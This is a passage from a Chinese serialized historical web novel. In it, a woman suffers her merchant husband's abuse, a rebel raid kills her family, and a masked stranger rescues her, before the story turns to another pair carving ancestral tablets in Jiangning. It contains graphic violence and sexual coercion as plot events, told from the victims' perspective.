她本就雪肤花貌，灯下更添秀美。王渡与她新婚才一个月，见此但觉意动，便抄手来揽她，又将私底下的话悄悄地说与她听：“你难道不盼着你男人更上一层楼？我欲找个稳妥的高山依附，按理说，如今娶了你，自然要投靠六殿下。但你也晓得，他自来是太子一党，太子如今被废庶人，我这会子去归附，不是赶着去投胎么？” 李定娘僵了片刻，也不知是因听了他的话，还是觉察那手渐从衣下而入，流连摩挲。她勉强忍耐下想要推拒的冲动，反问他：“你待怎样？难道有别的主意？” 那手在腰间停顿了一下，迎上的是王渡若有所思的神情。 “你觉得……三殿下为人如何？”半晌，他道。 李定娘心头一凛。 她虽久离洛京，却也不眼盲耳聋，晓得如今三殿下朝野中美誉甚多；甚而有人拿他与太子作比，道他唯一的短处，就是生迟了一些，否则哪里比不过那胆怯庸懦的太子？ 只是她家抹不去“六殿下娘家”的印子，万不可能与三殿下扯上瓜葛。 眼见着王渡动歪心思，李定娘神色不变，却道：“亏你自诩智计过人，岂看不出，太子已有东山再起的苗头？” “这怎么说？” “先不说太子是官家潜邸时所出，最是有父子情谊；且他虽被废，却还有舅舅镇守边疆，手握边军十万，官家绝不会伤其根本；便看我如今封号广陵县主，虽不如公主、郡主那样显贵，却是官家对六殿下的恩宠。潘淑妃早殁，六殿下自小长在故皇后膝下，与太子同气连枝；他得恩宠，便是官家仍挂念太子。太子如今虽为庶人，今后必定起复。你这时去依附，正是雪中送炭的好时机！”李定娘道。 眼见着王渡的目光又变了，恍然欣喜了起来。 她心中冷笑，又有些嘲意，也不知是嘲他还是嘲自己。说出口的是这些，没说出口的却还有许多。 比如官家如今老迈，沉迷求长生、御女色；便是年轻时，也不见得多圣明，行事向来只凭喜恶，又偏听偏信。这一回谕封她县主，也不知是想起了什么，或许是中贵说了几句好话，他忽念起她爹往昔的好来，一时感触所至。 不过王渡正在兴头上，许还做起高官厚禄的梦，这会子泼他冷水太扫兴。就让他继续念想着吧。他若是想攀关系，必定要过她爹那一关的。 他怎么就不想想，太子被废，多少太子党人被杀被贬，凭何她家就能在扬州保全，安然无事？还不是因她爹谨慎自守，从不轻易与人结交，又早离洛京；如今正值多事之秋，躲还来不及，怎会允自家女婿搅进夺嫡的浑水里？ 她不愿再与他谈那些宦途事，岔了话头道：“与其想国事，你不如想想家事。母亲对我颇多不喜，许是她从前那个媳妇做得太好，相较起来，我倒成了个榆木疙瘩，教她日日着恼。” 王渡正想与她温存，闻言皱了眉，“平白说那人做什么？她人都死了，你还醋不成？” “尸首不是还没得么，谁知是死是活！”李定娘嗤道，微微偏了头，不教他太近，“你只不该教我搅进去，为着你的前途，平白脏了我的手，害得……” “害得什么？”王渡轻笑。 她微一顿，摇摇头，将“我与她反目”余话咽下肚。 “你放心，再出不得差错的。”王渡以为她担心事漏，附在她耳边，笑声低语，“那河里已捞上来了，只因前些日泥藻缠住，到如今才浮上来。你总放心了吧？” 李定娘正要说，我放什么心？难道我还怕她不死，反来害我不成？ 只是他已凑上来，解了她衣袄，又唤人熄灯烛，好一夜春宵。 待得最春兴时，那夜色朦朦，昏黑不明，他却又将她翻个身，要换个雅兴，从背后入。不料李定娘僵得不像话，身子也在抖，不知是恐惧是难堪：“别这样、就往常那样儿吧……我不行、我不行……” 王渡正是意浓时，哪里肯听，硬是按着要强来；她便再忍不了，尖叫起来。 那一夜，外头侍奉的女使听里头哭闹尖叫。半晌，主人家从里头披衣出来，脸阴得像黑云，一言不发。小厮为禀灯烛，送他至了久无人居的西院，摔门入屋，睡了半夜。 女使去偷觑主母时，却只见她将自己厚厚裹在锦褥里，一动也不动，死人一般，吓得不敢再看，更不敢发一句话，挨到了 天明。 天亮时，本以为要闹僵一阵子，不想王渡早饭前竟又回来，与她说尽好话赔罪。 他尽知她前事的。李定娘也没什么好瞒，两下说开了，勉强揭过；王渡又教人备了一车土仪果礼，携她同归岳家。 李定娘才知他为何做小伏低，原来因是要赶时间，趁空找一趟岳父，求岳父为他说项，结交朝中贵人。 果不其然，如她所料，他非但没讨得好，反教她爹斥了一通，连带她自个儿也被板着脸好一番训诫。 “为人在世，俱要本分，命里没有的，莫要偏求！再且说如今是什么时节？神仙打架，凡人避就算了，哪还能把自己搅进去？”李彦进斥女婿。 王渡闹了个没脸，多说多错，这一整日在岳家，都是皮笑肉不笑，阴死阳活的。 两人归家，还没进门，在车里三说两说没说好，他便发作起来： “你爹好清高的人才！你一家子都清高，都是贵人，嫌我行商的低贱，攀不得高枝，怎么收我那五万贯聘礼时那样亲热！去年到如今，我送了多少与你家？你们如今嘴里吃得、身上穿的，哪样不是自我出！”他冰冷一张脸，望着李定娘冷笑，“好不晓事的东西，人说买卖两讫，我付了价儿，他却不愿给我好货，只把个残花败柳与我，揣着明白装糊涂的老狗！” 李定娘被骂得不堪，怒急攻心，要来掴他，却正被他一把钳住手臂，骂道：“我不嫌你做过丑事，你反挑三拣四，床里摆三贞九烈与我看！你如今嫁了我，便是我王家妇，好生琢磨着如何讨好我、教你爹开口，否则，往后你在这家，未必过得比祝氏好！” 说着将她一搡，也不管“咚”地一声撞到车壁或是横座，一转身，冷哼着下车了。 李定娘一把被磕到脸，疼得钻心，伏在车里，半晌没起得身，浑身骨子里发冷，又臊得想一头撞死，也不知外头下人听去了多少；再没脸见人，蜷在锦绣穿花的团垫里哆嗦，悲从中来，饮泣往肚里吞。 从这一日起，王渡也不归家，只说经营买卖，谁知去哪里消遣了。李定娘守着个不像家的家，应付着个又凶又悍的老婆娘，成日里烦心。 到三月头上，没等得王渡回来，却逢着一件天大的祸事。 平平常常的一日夜里，阖家上下睡得死死的，也不知哪里来的一伙强贼，数目之众，足有多几百个；明火执仗，里三外三将前后院包围，冲撞进去，直入宅院，拎了人便问主家人在哪，又铺开严严实实一排排，各执刀枪，虽衣物破旧，却目露凶悍精光，体魄强健，衣下哪里遮得住。 李定娘还没穿戴齐整，便被人揪出来，拖到个身形高大的贼首跟前，压了刀在脖子上，恶狠狠问：“钱财在哪！” 哪里用她说，同来的贼子们早已屋上地下地翻砸来找，摸着好东西，便往怀里揣，逢着提家伙要干仗的家人，刀棍无言，几个对一个便打杀了去，一时间血流成河，尖叫厮打哭泣声不绝。 李定娘才懵了一刹，吓得面如土色，颤颤指了藏钱的柜格。 那人教手下去搜，一发搜得各样金珍玉宝，还嫌不足，又掘地三尺，把高重的家伙什全扔在院里打砸了，却似翻找什么，一晌搜不着，又来逼问她：“账册呢！你收的那东西在哪！” 这一下，李定娘犹如头上重锤一记，望着院里院外打杀哭喊，火光映得半边天如浴血，真如身堕地狱，又余光瞥那贼首，虽衣着粗陋，露出的皮肉却精细白皙，姿态体格也无一不上乘，哪里像什么流窜的贼匪？ 当下心明眼亮，明白了大半，这伙人竟不是为什么钱财而来，恐真正由头是那本账册。 只是修堤亏空的账册事，外人怎晓得？ 她按下狐疑，狠了狠心，哆哆嗦嗦指正北的主院，“家中账册珍宝皆收由大人保管，我只是新妇，未掌中馈！” 她生怕言语上漏一分，便教人打杀了，好在那人急着找东西，将她扔给手下管制，自领着人去主院寻了。 这无边地狱，她无人护佑，只得逼自己壮胆气，求人说好话，允她添件衣裳。 可见那起子人还做不惯真的贼匪，她这么一求告，竟有那好说话的，放她回屋待着去了。 李定娘翻检那一堆被踩得脏乱的衣裳，穿戴齐了，又找了半天，终找得一件绣了龙凤的帔子，在肩上披了，本想再戴了凤冠压阵，却怎么也找不着，竟是早被人作珍宝夺了去。她只在床帏下摸出了一云锦帛书，正是封敕的圣谕。 她按下狂乱恐惧的一颗心，勉强容色不变，脚步不敢丝毫显出匆忙，一步步向外，从廊下至院墙，举着圣旨，赌一把生死，其声清泠：“我是官家亲封广陵县主！我手中乃圣旨谕令，尔等不得有所毁伤——” 若是真贼人，想必是不屑这东西的。 可这些衣着褴褛的“贼匪”，却偏偏生了忌惮。 李定娘心下稍松，更是步态从容，晓得这时声势不可乱，一乱便要为人鱼肉；便提着这一口气，所到之处，迎人目光，不躲不避，微抬了下颌，直到守门的小贼首跟前，一路分拨贼众，如中流分水，击楫而上。 到得头领跟前，她稍缓下口吻，道：“我乃广陵县主，如今身不带一钱，唯携圣旨帛书，大王通融，且放我归家！” 头领皆以黑巾覆面，一双眼凶光四射，偏却在瞧见圣旨时，滞了一滞，僵持之下，教人来搜她身。 李定娘忍得那几双手胡乱在身上摸了一回，听小贼们报：“无财无物！” 头领听了，又打量李定娘半晌，末了一点头，将紧闭的中门轧开一条缝，露出外头黑洞洞来，手一挥，“滚！” 李定娘如得大赦，也不知怎么软着腿脚，一步步挪出去，离那吃人的宅院愈行愈远，拐入个拐角，再不见了一星点的火光贼人后，一口气来不及喘匀，拔足狂奔，朝自家而去。 这一路，莫说巡更守夜的兵丁，连出门看热闹的百姓也无，各家各户尽死守门户，只在窗缝一角，觑来幽森森的惶恐目光，谁也不敢出头。 此夜李定娘尚不知，除了本家宅院，王家各处店铺庄园、茶坊酒肆，一发被洗劫一空，从此几十年家业，毁于一旦，本家人口，死伤无数。 官府无暇照管他家闲事，只因知州本人也一日后被押赴市口，在一干盔明甲亮的义军看守下，有模有样地教刽子手斩了头颅。 州城内外，被征光了钱粮的百姓举事，报名募编入伍，每人领一身粗布衣袄、一贯钱、一斗米，即日营中操练，以待官军来犯。 第57章 第57章而今风雨遍浇身，狼狈时…… 人财两亡，于王渡而言不啻比殛雷更甚，好悬没一口血呕上喉头。 那侥幸得脱的家人尚嘤嘤哭报：“老爷、老夫人如今怕是尸首仍在家宅，登门者不为料理帮衬后事，却多来索债！家资已荡然一空了！” 相陪的妓。女是新来扬州、数一数二的魁首，素日惯会解语，又风姿艳盛，如今见王渡瘫在圈椅上，两眼发直，也不敢上前触霉头，竟悄悄儿一打珠帘，向外去了。 王渡半晌回过神来，只觉神魂俱遭了雷劈也似，急扯了那小厮衣襟，厉声问道：“各家掌柜先生如何分付！” “分付？”小厮又一声哭，“哪里还有什么分付！店铺子没了，他们 早携财奔逃了！倒是、倒是我听闻主母尚存，她如今正回了娘家；又听闻您岳家安然无事，主人，您不如去趟岳家，与您岳丈老泰山寻个计策！” 王渡又是半晌没答言，缓过神来，却又问：“解库呢？家中八家解库，难道俱没了么！” 那小厮瘪着嘴，早已哭得脸都花了，却畏惧又不敢再说。王渡便晓得了无一幸存，恨恼之余，却更生惊骇。 哪里的流民有这般神通，不止毁了他家宅，竟把他名下大小店铺也摸得门儿清，夤夜上门劫抢，串通好了一般，天不亮便一哄而去，连点蛛丝马迹也寻不着！ 难道是哪里的仇家？ 他百思没个头绪，下意识摇头，“不行，李家正是看重我财势，才与我结亲。如今我家财一朝散尽，又逢这般祸事，他躲还来不及，怎会襄助与我？” 正两难间，忽那珠帘一闪，却是鸨母闻风带着人来了，后头跟着的，正是这些时日新相好的那个，名唤白露的妓。女。 鸨母先来哭了几嗓子，吊丧似的，又殷勤地问他家现今如何。 王渡混迹风月，惯来指使人上家支钱，如今尚还欠着不小的一笔，听她相问，立时便明白了缘故，心中本就悲痛，更又添了羞恼窘迫。 他面上却不露，仍风淡云轻地，“此是我家一劫，我早已料到，因此有所防范。只如今我不好就回家中，便在你处待个三两日，待事了了，我必再与你一笔厚厚的脂粉钱！” “不是老身说，大官人，您家中遭变，当速速归家料理主事，哪还有心思在我这儿消遣？”鸨母皮笑肉不笑。 王渡此时哪里敢归家，还不知有什么样仇人堵在家中等他，只得软和了口气，又扯出家中八解库九茶行七十二店铺子来鼓大旗，口水费了不知几何；鸨母是何等人精，万贯富豪一朝落魄的事儿经得多了，料理起来也格外顺手，先教人送来字据文书，却是所欠账目，教他押字，又和和气气撵他出门：“知大官人人才俊品，只咱们都是张罗生意的，俱知彼此的苦处，若日日散财不进财，哪能支应得这么大家业呢？老身今日不得不失了恭敬。大官人，您福运绵泽，将来必能再起，我这儿先祝送大官人了！” 说着，手一挥，后头排开几个身强力壮带着刀棍的家人，将人“请”出门了。 后头半遮半掩着白露，今晨起还是小意温柔，转头却连眼色也不奉送一个，无动于衷听他道往日情长，自顾自往回走了。 哪知他家翻覆，扬州城也变了天，更没地儿说理去。流民果真散入城中，夺了府署，那些个厢军更无一点斗志，平日里起社蹴鞠、当街无赖欢实得紧，到真刀真枪御敌，各个都怂得很了，没几个来回便丢枪弃甲，溃逃投降。 世道疾变，王渡有家不敢归，成了无主的孤鬼，狼狈躲窜；往昔连饭也吃不饱的流民却一跃做了扬州之主。据说坐镇的一个“海底蛟”罗大王坐于府署正堂，料理公事；不仅抚众安民、募军操练，更张贴了榜文，道有冤有屈不得申者，尽可来府署诉告，大王为民伸冤。 王渡连日来东躲西藏，衣衫从未如此糟烂，带着个小厮，白日里教他偷人家吃喝来孝敬，夜里两人缩在草垛子里熬睡，当真把十几年前的苦又吃回来了。 那小厮如今也起了心思，不再那般哄着他，见他到如今地步，尚且拉不下脸去找他岳家，言语间便颇有了怨怼：“你都落到这份田地了，还有甚不好说的？到底已做了几日的夫妻，难道他家还能见死不救么？真好大气性，也不知我跟着吃什么苦头……” 王渡想，你哪里晓得厉害，那些个贼匪显是有人幕后操控，且他们打杀他家人无忌，却偏不碰李家一人，据说李定娘正是举着圣旨，从容而归；想来那伙人不定与朝中有什么干连，又说不定……仇人正是李家。他此时若上门去，岂不是羊入虎口？ 这夜依旧一袭破草遮身，天上无星无月，起了阴云。王渡正对巷口一处榜文，那字虽瞧不清，白日里已见得真真儿的了。这会子琢磨来琢磨去，他心思放在“为民伸冤”几字上，一晌悟出其中真妙，喜不自盛，不由一拍那小厮大腿。 人家被他一巴掌拍得恼了，忌惮他余威仍在，只是埋怨：“做什么好好儿地打我？” “妙啊！”王渡夜中一双眼直勾勾，眼底处有豺豹一般森森的亮，“我怎么没想到这一层……” 他是不信什么公道大王的，流民贼匪，哪来那许多为民做主的心，必定是想要劫掠州城，又怕激起民愤，举事不成；故此想出这“为民伸冤”的法子来，寻个由头，抄那平日里欺压百姓的大户家财，既得了金山银山，又百姓里赢得好名声。 而若论“权贵乡绅”，哪个还比得上他岳丈——李彦进家？ 当下踹了莫名其妙的小厮起身，他一洗连日颓唐，带着便向西城去。 西城里遍是花街柳巷。小厮又急又气：“主人是失心疯了么！如今我两个比那叫花子也好不了多少，你竟还想着去找乐子！” “你懂什么，我近日在那白露身上，所费银两无计，才捧得她有一两分名望。”王渡行在暗处，瞧这比往日冷落了不少的歌管楼台，道，“如今她也该反报我一两分，至少与我件妥帖的衣裳，才好见那公道大王。” 虽归了家，李定娘这几日过得依旧心惊胆战。 王家那头败事已落定了，她更不敢使人去瞧一眼，或料理那一宅的死尸；兼逢近日州府乱象，一日听说知州被砍了头，一日听说某大户被抄了家。如今家门紧闭，着仆从日夜轮守，不敢丝毫松懈，又日日令人出门探听消息，归来报禀，正不知如何是好。 李定娘计议着阖家逃出城去，却被郑氏拦阻，道近日她爹心口窒闷，身子正不爽利，这时候哪行得远路？况家中上下一百来口，钱财细软怎好带出城去？ “外头如今乱象迭起，朝不保夕，日日有富户豪奢被拎去市口斩首。母亲难道要为了这些浮财，连命也不要了么？”李定娘知晓她心疼家业，又道，“少不得将钱财散于众人，教他们自谋生路，我家中几个，一辆粗陋车马带出城去便了！” 这回冯氏没说话，她四个兄弟却不干了，各个争来分说，道她手太松，口气又太大，偌大家业，说送人就送人，岂不知创业的艰难。 李定娘教这些歪来的“舅舅”们气得心口发堵，闹了一场，骂道：“创业艰难，你们也不是那创业的人！你们几个，不过是死乞白赖攀在我家吃喝的粪蛆罢了！” 这就闹将起来，好半天收场，不欢而散。 郑氏说家主心口疼却不是假的。李彦进自那日训了女儿女婿一通，这些日积虑甚重，又犯起了这毛病，又逢连日阴雨绵缠，腰腿疼痛难忍，胸闷气短，正难熬着。李定娘归家事，阖家人不敢向他说实话，只道她回娘家小住几日。 这一日依旧如此。只是吃过午饭，正团坐间，外头却起了闹哄哄的乱子。 李彦进不晓得情形，皱眉着人去问；李定娘却心中一咯噔，没由来觉出一阵冰寒，想也顾不得想，当先起身，把阿苽往郑氏怀里一塞，催促她母子向后院去：“母亲莫惊慌，你们先回去，我到前头望一望。” 郑氏这时倒有默契，又使人搀着李彦进，半哄半劝先向后而去。只没走出屋，那乱子像野火逢着荒草似的，一路便烧了过来。 喊杀刀兵之声刺耳恐惧，一路蔓延，终至无人再喊，却有一大队刀甲明亮的铁卫贯入廊下院中，纪律严明，一声令下便收了尚带血的长刀，层层分开，拱卫出个绣衫衷甲、凤翅兜鍪的黑面大汉，面貌体格粗野彪悍，正提着一柄大刀，刀口还滴着不知是谁的血，见了屋中欲走的几人，宽大嗓门喝道：“尔等是李家主人么！” 李定娘见过一次杀人的阵仗，第二回见，不似郑氏一般慌 得走不动道儿，当下向外一指：“李家人在北院！” 她原想先将人搪塞走，再寻小门儿走避，不想才说了一句，后头分出个人影，声音是熟得不能再熟：“娘子欲往哪里去？这不正是我泰山泰水么！” 李定娘不可置信，猛一回头。 王渡正气定神闲，立于那贼首侧后，一身锦罗绣带，仍是一如既往面目文秀，却无端带了股阎殿恶鬼的森森。 那贼首正是姓罗的本人，本名作“罗二郎”，如今无人敢直呼其名，只称呼“罗大王”，一路行来，环顾廊院花草，瞧出此处富贵不假，喜不自胜，又指着面色发白的李彦进，向王渡道：“那是你丈人不是？就是他逼死了你前妻，迫你娶他女儿？” 王渡不以为耻，反一口应下，也不顾李定娘目眦欲裂，道：“正是，他家仗势欺人，又假借大王的名头，打杀我家人、抢夺我资财，我才落得如今落魄境地！” “王渡！无耻贼子！”李定娘再听不下去，怒急攻心，大骂他狼心狗肺，“谁杀人夺财！你自家招惹的烂事，遭了报应，如今反来害我！” 王渡却冷冷道：“难道祝氏不是你所害？” 一句话，令她哑口无言，心知今日再难善终。 那罗大王早令人抄她家底，如今重现那一夜**的情形，李定娘一霎时心头冰凉，想那王渡有两字说说得不错。 报应。 她欲带着父母向后逃，然后路已断，满目里皆是贼兵，抢了她家财物女子，于一众尖叫哭喊声中，他们却笑着攀比谁抢得更多。 春风细雨，斜丝绵绵，今日起，寒意尽了，贵如酥油的春雨落下，又是扬州新的一年。 李彦进捂着心口，教人一骂一吓，更来不及问些情由，指着王渡，嘴唇青紫，“你、你……贼子……” 罗大王扔给王渡一把刀，闲闲道：“江湖人便要快意恩仇。你仇家在眼前，去，把他杀了。” 王渡一把接过，那份量又坠得他双臂一沉，面上笑着，转过身了，望着岳父，却终又笑不出来。 他终究善使暗箭伎俩，当真执刀杀人，杀的还是岳父泰山，却有些胆寒。只是罗大王逼迫在后，一双眼紧盯着，他今日这投名状若不交，自己在他处也落不得好。 人不为己，天诛地灭。他暗向那老儿道了一声亏欠，双手握刀，便一步步来。 李定娘疯了似的，将手边物事砸去，冷汗混着眼泪涔涔而流，“你敢！他是你岳父——” 又一步步抱着她爹，向角落里退，直至退无可退，狠下心一抱王渡的腰，将他撞得一趔趄。 “你要杀他，先杀了我！”她咬牙切齿，指甲撕他手臂，又拿牙去咬，疼得王渡惨叫连连，一时竟推也推不开，发了血性，猛一踹她小腹。 李定娘惨叫一声，跌倒在地，捂着肚腹，瞬间失了血色。 李彦进睁目欲裂，刚要去拉女儿，却口中“嗬嗬”说不出话，一张脸越憋越紫，勉强支撑着立住，却兜头迎来了王渡不似生人的一双眼，竟血灌瞳仁，发下狠一刀劈来。 刀落下来，却无钝痛。他眼内模糊，接着一物，满手满身的血。 李定娘腹下绞痛，仿佛五脏六腑都往下坠似的，只觉曾也有过这般铺天盖地的疼，直待腿间濡湿，才浑浑噩噩地忆起，那是怎么一回事。 当初喝了药下去，就是这样的。那时有郑氏在侧，虽不是亲母，却也抓着她的手，落下泪来，说道：“我的儿，你且忍耐着，痛也忍着，熬过去就好了、熬过去就好了！” 她便就这么熬着、熬着、熬着。 郑氏呢？ 她母亲呢？ 她哆哆嗦嗦，蜷着身子，张着什么也看不清的眼睛，一点点摸，却只摸到了一地的血。 最后爬到了郑氏软倒的身子旁。那刀口从肩颈向下，慌里慌张的，起初狠戾，后头却失了力道，因此没劈成两半，尚存了一口气。 郑氏抱着丈夫，想瞧被丢在一旁的阿苽，却再扭不回头，只得向着李定娘，张了几回口，才出了点模糊的声：“你、你弟弟……” 话没说完，头一歪，伏倒在丈夫身上，死了。 阿苽不懂事，只是趴在血泊里，哇哇大哭。李定娘撑着一口气，如今竟不知是先死的好，还是把阿苽搂在怀里再死的好。 罗大王望着王渡丢了刀，那失魂落魄的模样，又望望那狼狈一团的一家子，啧啧叹了口气：“读书人还是少些血性，宰个人都宰不好。罢了，你往后还得多操练，如今且瞧我的吧。” 他自提了大刀，阎罗王似的逼近，一步一步，踩着郑氏为丈夫挡刀的血，踩着李定娘流出的泪，到了面色发黑、睁目不瞑的李彦进跟前，本想就一刀剁了，却又“啧”了一声，蹲下身，探一探鼻息，觉得扫兴，“嗐，这老头儿吓死了。” 说罢又望了望死死攥着郑氏手臂、也只剩了半条命的李定娘，又扫了一眼仍在大哭且哭得他心烦的小娃娃，琢磨着这妇人小孩，自己亲自操刀，平白辱没了他“海底蛟”的名声，索性招手唤来个喽啰，指道：“你将他两个料理了，好歹是一家人，一并埋了吧。” 那喽啰领命，抽了刀来，就要下手。 也不知是哪来的救命天光，却有一声凭空而入，嘶哑如铁石相磨，听得人脊背发凉，话里却漫不经心： “我道啸龙将军手底下都有哪些英雄，没料想却是杀妇孺得来的名头，败兴、败兴。” 李定娘痛得半失了神智，凭着一丝执念，抓着阿苽的一只手，任他怎样拽挣，死死地攥住了不放，怕他从此也随爹娘如云烟而去，又怕头顶那刀落下来，他们一家人黄泉下再聚，又找不见贪玩的他了。 半晌却再不闻一二声响，勉强回头去看，模糊视线里，廊下屋外阴沉沉的天光随着冷风冷雨，裹挟而入一道身影，高高瘦瘦的，也如铁石一般，镀了一层光缘，怎么也瞧不清脸容。 旁人对他却畏惧起来，那罗大王初时生怒，却在见到林江啸的荐信花押后，一晌熄了火，讪讪道：“原是新来投奔的兄弟，你不晓得，这家子逼人生死，为富不仁！” 那人偏头，望向罗大王，似是要说话，末了却没说，嗤笑一声，不冷不热。 他一侧头，李定娘才望见，那张脸上覆了一张鬼面具，从额头至颌下，盖得严严实实。她什么也瞧不见，只瞧见了那一双眼。 那双眼也瞧见了她，定了一定，身影便向她而来，不疾不徐，到了跟前，俯身将她打横抱了起来。 罗大王面子挂不住，忍耐不住道：“鬼面……将军是吧，你这是何意？” “救人啊。不然呢？”鬼面人声音嘶哑，说话时脖颈喉结起伏，仿佛嘲笑他无知，“我与她有旧，兄长卖我个面子，钱财归你，人归我……哦，还有个小的。” 说罢，教哭哭啼啼的阿苽抓着他衣袍跟上，也不嫌那双小小的手上鲜血淋漓。 王渡已回了神来，面上不知是急是怒，喝声拦道：“有旧？有什么旧？我怎么从不知道！” 鬼面人抱着李定娘时，一路行来平稳，一毫儿颠簸也无，此时稍住了脚步，那双清寒凛冽的眼扫向王渡，虽不见面容，却分明眼底有戏谑嘲弄，“你不知道的事多了去了。王员外为人坦荡，最是慷慨，想必不会挂怀汝妻与我曾一宵良缘吧？” 他声音说大不大，恰巧让一圈儿十几个铁卫听得清楚，便见各人憋笑，有的直白便笑出声来，拿眼去扫量王渡上下。 王渡脸上一阵青一阵红，才上前一步，还不待要分辨要动手，身边已有一列人将之拦下，各个精悍强壮，且罩甲齐整，全有别于罗大王手底下才吃过几天饱饭的铁卫喽啰。王渡搞不清这铁面人是何来头，不敢轻举妄动，一霎泄了气，干瞪眼望着自家妇人被他搂在怀中，抱着带走了。 李定娘仿佛做了个极深重的梦。 梦中，她为恶人逼迫，趴在那简陋的禅室里，像狗一样，任人欺凌，也不知揉搓了多久。她喊不出来，浑身剧痛，又觉小腹如山坠，动一动便痛至十分。 忽又一念上心头，有个声音告诉她：那是旧事了，是旧事，你如今好了。 可她分明还揉碎的烂骨头一样，身处那不见五指的黑暗里，忍着一身疼痛，心想：若这时能有个人救一救，就好了。 若他此时破门而入，来救一救她，就好了。 哪怕得不着他救，只让她望见他那双眼睛，这样 难熬的时辰，她或也就能熬过去了。 可她终究没见着，只有无边的黑暗侵袭着她。 不、不、不。那个声音道，她见着了，那双再清亮神采不过的眸子，她每次见，都觉如寒光星斗一般，无人再能比拟得过。她见着他了。 她张嘴，觉得干渴，又觉得疼，不自觉便模模糊糊地叫出声：“应栖……” 她这样一叫，就仿佛又回到那个梦中，当真见了他混不吝的那张脸，忽又觉得难过。 梦里的他不说话。李定娘急了，胡乱伸手要去抓他。 不想一双手被按下，不知在谁的掌心里，没听着他说“我在”，却只隐隐约约闻了一声叹息。 第58章 第58章同去又同来，直如双飞鸟…… 这一回去江宁，末了走的是水路。 漕河里也行过，江水里也行过，一条条岔开的细细河道也行过。一路行来，不贪赶时间，两三日也就到了。 应怜与宗契在江宁府城里赁了间小院，开春时节，便暂且住了下来。 这一间院比从前扬州那座又要简致不少，并无前后，推门只见左右二间对座，正分与她二人住。虽不大，却满可以令人安身。 便自出正月，到如今三月初，芳菲初绽了，褪下冬衣、换了春衫，他二人已在此逗留了一个多月。 宗契往常只晓得外家在江宁府，至于是府城里或县乡里并不清楚。他母亲姓陈，然偌大地界，陈姓者不知多少，一连日寻来，竟连半点头绪也无。 他与应怜一合计，总之在此兴许又要住上些时日，索性写封信与他师父慧理住持，询问自个详细根底。这信一去，恐怕一个月尚不能来回，非得到五月才见回信。 这些时日也得慢慢地打听。 应怜自是随他，只是也想起自己的事来，便教人制了三方灵位，本要供一供爹娘兄长，却不敢请外人书刻，只得拿了空灵位回家，在上头比比划划犯了难。 正巧教宗契见着，依旧这日两手空空，自外而归。 应怜一见便晓得他又没打听着什么，正待开口，他却先问：“你这是……先人灵位？” “是。”她道，“只是我不会书刻，径写上去，又怕晕了墨，且不好擦拭。” 他到跟前，接过她手里空灵牌，瞧了一瞧，“你要刻什么，说与我，我来刻。” “你竟会刻字？”应怜惊讶。 宗契失笑，朗硬脸廓显了几分柔和，“寺中供奉灵位，我刻惯了的。只不过需得你先写个模子。” 应怜一抚额，怎么竟忘了这一节，连连称好。 待宗契买来刻刀，候她写完了，便熟练地横撇竖捺刻了起来，先依样刻下“先考”二字，在下头“应安仁”三字上扫了一眼，顿了顿，道：“无爵禄头衔么？以下径刻令尊名讳了？” “……从前是敷文阁学士，如今官衔已被撸了。”沉默片刻，她摇了摇头。 宗契便不再多言，只一刀一凿将名姓刻了下去。 应怜守在一旁，微偏头默默瞧着。 他卷着几道袖口，手掌宽大结实，掌心指节处处有茧，厚积钢铁一般的力道，却干净整齐。执刀凿的姿势也老练，一笔一划刻来，莫不与她墨字纹丝不离，而更凿进几分与她不同的力势筋骨，一望便知是常刻这木字的。 看他点顿撇捺地刻下一字一字，随着一个一个名姓，她便想起家人音貌，又见刻刀之下锋势深沉刚硬，一时瞧得深了，不觉便一点点离他愈近，满眼尽是他一双手掌与掌下一个个显露的字痕。 时节入春，正是轻凉薄暖、宽袖小衫之时。她去了厚厚的领缘，便露出一截白玉的延颈来，隐没向衣襟里，绣着鹅黄青翠花草，烘出薄薄的暖香。离得近些，宗契便觉察得分明，本已觉得过近，偏她这人又不开窍，对他没一毫儿防备心思，径往前倾，腰身已抵了桌缘，堪堪擦着他臂肘，宽大的薄罗褙子下，杏黄系带圈了几圈，柔柔巧巧、不盈一握。 他刻字时便有些心不在焉，正坐躲避不得，却手臂处发热，直烫到耳根口舌，莫名心浮气躁起来，索性放了刻刀。 “惜奴，烦劳倒杯茶来。”他没抬头，拂那字凿里的木屑。 应怜果不疑别的，应了一声，便去倒茶。 她离身时，香却仿佛未散，不是兰、不是麝，也不是衣上熏香，是她一段若即若离的女儿香。 她斟得茶来与他。宗契一口饮了，也不知心头那焦渴胡乱压下了几分，见她又站来身侧观瞧，当下指着四方桌邻座道：“坐。” 应怜满心都是家人牌位，他让旁侧坐便坐了，这回纵是伸长了脖子来看，也挨不着他。宗契稍松了一口气，可当真她不在身侧了，他刻了几笔，却怎么都又觉着索然无味，勉强收了心神，专心刻那牌位。 两人便安安静静的，一个刻一个瞧，谁也不出声。春昼晴暖，微有细细浮尘飘游在两人身遭，徘徊如情意不去。 有了牌位，日日香案上供着，应怜便想得多了。 往日飘零无所时，只求有个栖宿；如今有了栖宿，便更想起她家所遭的事来。 宗契时时也来案前供一支香，瞧着她家三口人的灵位，便问及情由，“你家究竟犯了何事，至于如此大难？” 应怜却茫然不知，“事发突然。那晚禁军闯入我家，带走父兄，说是谋逆；别说我，我家谁也毫不知情，跟着便是抄家、监禁……往日亲朋并无一人来探，更别说求问个实情。” 或许她娘知情，却先她而去；原想着到了扬州，寻得时机，向定娘慢慢问来，哪想变故陡至，又没问得。 以她爹素日清正古板、兄长直率磊落的性子，她决不信他们会与谋逆扯上关系。而他们如今做了枉死鬼，独独存活她一个，却又是个阳间的糊涂人。 教她怎么能甘心。 往昔故交皆不能问，她搜肠刮肚，却想起一人来。 “你可还记得当日那吴知县？”应怜问他，怕他想不起来，又提醒道，“正是他那秦氏夫人赠我川资银钱。” 宗契点头，“记得，怎么？” “我那些日被拘在衙署时，曾听人说他将转调赴任江宁府。这不是凑巧了么？我们如今又到了他的地界。”她道，“他是做官的人，又与我家有些瓜葛，或许晓得我家事一二。我身份尴尬，本不当与吴官人再有牵扯；但我想问一问细情，眼下除了他，也再找不出第二人可问。况我寻思着，他既到了州府做官，户籍之事想来也管着的，你去拜会于他，强似独个大海捞针似的寻你陈姓的外家。” 一言点醒梦中人。宗契眼一亮，恍然道：“是了！我竟没想到这一节！吴官人在此地，事便好办了，我这就去府署问问！” 上午时辰正早，他如连日阴霾被一朝艳阳点破，眉眼也神采奕奕了起来，兴冲冲地便要出门。应怜忙拉住他，上下一打量，见他此身虽峻拔洒落，却穿着素日的瓦灰粗布衣衫，袖口处浆洗得有些泛白，便教他去换一件新衣，又教带好散银，以作打点。 